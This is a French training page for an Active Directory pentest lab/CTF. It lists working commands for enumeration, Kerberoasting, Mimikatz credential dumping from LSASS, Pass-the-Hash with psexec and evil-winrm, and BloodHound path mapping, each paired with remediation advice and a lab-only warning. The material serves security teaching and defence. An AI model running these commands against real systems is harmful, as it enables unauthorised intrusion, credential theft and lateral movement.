Logo Connect3S
Connect3S Pentest Nice

Lab CTF Pédagogique Active Directory

🎯 CTF Pédagogique : Pentest Active Directory

Environnement de lab isolé pour comprendre les attaques sur Active Directory et les méthodes de remédiation. Commandes PowerShell, BloodHound, Kerberoasting, Pass-the-Hash et plus encore.

⚠️ Cadre LAB / CTF Pédagogique OBLIGATOIRE

Toutes les commandes et techniques présentées ici sont destinées UNIQUEMENT à un environnement de lab isolé ou CTF interne.

L'utilisation de ces techniques sur des systèmes sans autorisation explicite est illégale et passible de poursuites judiciaires.

🏗️ Architecture du Lab CTF Active Directory

Environnement de Test Recommandé

Pour pratiquer les techniques de pentest AD en toute sécurité, nous recommandons l'architecture suivante :

🖥️ Machines Virtuelles (VirtualBox ou VMware)

  • DC01 : Windows Server 2019/2022 - Contrôleur de domaine (10.10.0.10)
  • SRV01 : Windows Server 2019 - Serveur membre (10.10.0.20)
  • WKS01 : Windows 10/11 Pro - Poste utilisateur (10.10.0.30)
  • Attacker : Kali Linux 2024 - Machine d'attaque (10.10.0.100)

👥 Utilisateurs du Domaine LAB.LOCAL

# Utilisateurs standards
alice@lab.local (Password: Printemps2024!)
bob@lab.local (Password: Ete2024!)

# Utilisateurs avec privilèges
admin@lab.local (Membre de Domain Admins)
svc_backup@lab.local (Compte de service avec SPN)

# Utilisateurs vulnérables
svc_sql@lab.local (SPN configuré, mot de passe faible)
guest@lab.local (Pre-authentication désactivée)

⚔️ Scénarios d'Attaque Active Directory

🔍 Attaque 1 : Énumération Active Directory

Objectif : Cartographier l'Active Directory pour identifier les utilisateurs, groupes, GPO et relations de confiance.

🛠️ Outils Utilisés

  • PowerView : Framework PowerShell pour l'énumération AD
  • BloodHound : Cartographie visuelle des chemins d'attaque
  • ldapdomaindump : Extraction LDAP complète

💻 Commandes PowerView

# Importer PowerView
Import-Module .\PowerView.ps1

# Énumérer les utilisateurs
Get-DomainUser | Select-Object samaccountname,description

# Énumérer les groupes
Get-DomainGroup | Select-Object name,member

# Trouver les comptes de service avec SPN
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname

# Identifier les administrateurs du domaine
Get-DomainGroupMember "Domain Admins"

🛡️ Remédiation

  • Limiter les comptes avec privilèges Domain Admins
  • Désactiver SMB v1 et NetBIOS sur les DC
  • Activer le logging des requêtes LDAP
  • Implémenter des honeypots (comptes leurres)

🎟️ Attaque 2 : Kerberoasting

Objectif : Extraire les tickets Kerberos TGS des comptes de service pour casser les mots de passe offline.

💻 Exécution de l'Attaque

# Avec Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt

# Avec Impacket (Linux)
GetUserSPNs.py lab.local/alice:Printemps2024! -dc-ip 10.10.0.10 -request

# Cracker les hashes avec Hashcat
hashcat -m 13100 hashes.txt wordlist.txt --force

🛡️ Remédiation

  • Utiliser des mots de passe > 25 caractères pour les comptes de service
  • Implémenter des gMSA (Group Managed Service Accounts)
  • Monitorer les requêtes TGS anormales (Event ID 4769)
  • Rotation régulière des mots de passe de service

🔐 Attaque 3 : Pass-the-Hash (PTH)

Objectif : Utiliser le hash NTLM d'un compte privilégié pour s'authentifier sans connaître le mot de passe en clair.

💻 Extraction et Utilisation du Hash

# Extraction avec Mimikatz (nécessite privilèges locaux admin)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# Pass-the-Hash avec Impacket
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 admin@10.10.0.20

# Pass-the-Hash avec Evil-WinRM
evil-winrm -i 10.10.0.20 -u admin -H 32ed87bdb5fdc5e9cba88547376818d4

🛡️ Remédiation

  • Désactiver NTLM au profit de Kerberos seul (si possible)
  • Implémenter Credential Guard sur Windows 10/11
  • Utiliser LAPS pour les comptes administrateurs locaux
  • Limiter l'usage de comptes Domain Admins
  • Monitorer les authentifications NTLM (Event ID 4624 type 3)

🩸 Attaque 4 : BloodHound - Chemins d'Attaque

Objectif : Cartographier visuellement les chemins permettant d'atteindre Domain Admins depuis un compte compromis.

💻 Collecte et Analyse

# Collecte avec SharpHound (Windows)
SharpHound.exe -c All -d lab.local --zipfilename output.zip

# Collecte avec BloodHound.py (Linux)
bloodhound-python -u alice -p Printemps2024! -d lab.local -ns 10.10.0.10 -c All

# Importer dans BloodHound
# File > Import Data > Sélectionner output.zip

# Requêtes Cypher utiles
MATCH p=shortestPath((u:User {name:"ALICE@LAB.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@LAB.LOCAL"})) RETURN p

🛡️ Remédiation

  • Réduire les délégations de privilèges inutiles
  • Implémenter le principe du moindre privilège
  • Auditer les ACL avec BloodHound en mode défensif
  • Nettoyer les groupes emboîtés excessivement

🧰 Outils Essentiels pour le Pentest AD

PowerView / PowerSploit

Framework PowerShell pour l'énumération Active Directory

Usage : Reconnaissance, énumération des utilisateurs, groupes, GPO

GitHub →

BloodHound

Cartographie visuelle des chemins d'attaque dans Active Directory

Usage : Analyse des relations de confiance et chemins vers DA

GitHub →

Rubeus

Boîte à outils Kerberos pour attaques avancées

Usage : Kerberoasting, AS-REP Roasting, Golden/Silver Tickets

GitHub →

Mimikatz

Extraction de credentials depuis la mémoire LSASS

Usage : Extraction NTLM, Pass-the-Hash, Golden Ticket

GitHub →

Impacket

Suite Python pour interactions réseaux (SMB, Kerberos, LDAP)

Usage : Pass-the-Hash, Kerberoasting, PSExec, SecretsDump

GitHub →

CrackMapExec

Framework post-exploitation pour réseaux Windows

Usage : Spraying, énumération SMB, exécution distante

GitHub →

🎓 Prêt à Approfondir Vos Compétences ?

Connect3S propose des formations pratiques sur le pentest Active Directory avec labs dédiés et certification Qualiopi.

Demander une formation → Voir la méthodologie PTES